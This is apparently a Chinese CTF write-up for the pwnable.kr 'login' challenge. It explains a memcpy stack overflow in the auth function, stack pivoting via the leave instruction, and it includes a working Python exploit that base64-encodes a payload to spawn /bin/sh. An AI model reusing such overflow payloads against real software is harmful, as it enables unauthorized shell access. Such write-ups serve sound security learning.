0x1 准备工作

在分析这个题目时,我遇到了下面两个问题,先在这里说明一下:

1、 内存无法访问

gdb-peda$ si
Cannot access memory at address 0x61616165
gdb-peda$ si

然而程序并没有因此而停止,只是一个提示而已,可以继续使用si命令进行单步跟踪。

2、汇编命令leave

leave指令等同于下面两条命令(32位)

mov esp, ebp
pop ebp;该命令会将esp中的值给ebp,同时esp自身会+4

该指令执行完之后结果为:esp = ebp + 4ebp = [ebp]

例如:ebp = 0xff00,内存0xff00中的值为0x0011,执行完leave后,esp = 0xff04ebp = 0x0011

0x2 题目分析

题目有几点限制:输入的内容必须经过base64编码、解码后的内容长度不得超过12个字符。溢出点在函数auth中,当执行memcpy函数时,会造成栈溢出,覆盖后面的数据,如下图:

在上图中memcpy函数处下断点进行对比

执行memcpy函数之前,栈中相关数据

执行memcpy函数之后,栈中相关数据

我们提取出来框内的栈数据进行解释

0032| 0xbfb2a3e0 ("aaaa\204\222\004\b@\353\021\b\a\224\004\b\f")
0036| 0xbfb2a3e4 --> 0x8049284 ;这里是main函数的返回地址
0040| 0xbfb2a3e8 --> 0x811eb40 ;这里是main函数的栈顶esp
0044| 0xbfb2a3ec --> 0x8049407 ;这里是auth函数的返回地址

在调用0x8049284的时候,需要执行下面两条命令,需要向esp中写入/bin/shesp必须为可写的地址。

.text:08049284     mov  dword ptr [esp], offset aBinSh ; "/bin/sh"
.text:0804928B     call  system

0x3 溢出代码

from zio import *
import base64

def exp():
    #io = zio(('pwnable.kr', 9003))
    io = zio('./login')
    raw_input()

    io.read_until(':')

    call_system = 0x08049284
    input_addr = 0x811eb40
    payload = 'aaaa' + l32(call_system) + l32(input_addr)
    
    io.writeline(base64.b64encode(payload))
    io.interact()

exp()

0x4 最后

感觉有些地方还没有表达清楚,大家见谅。谢谢龙龙的指导。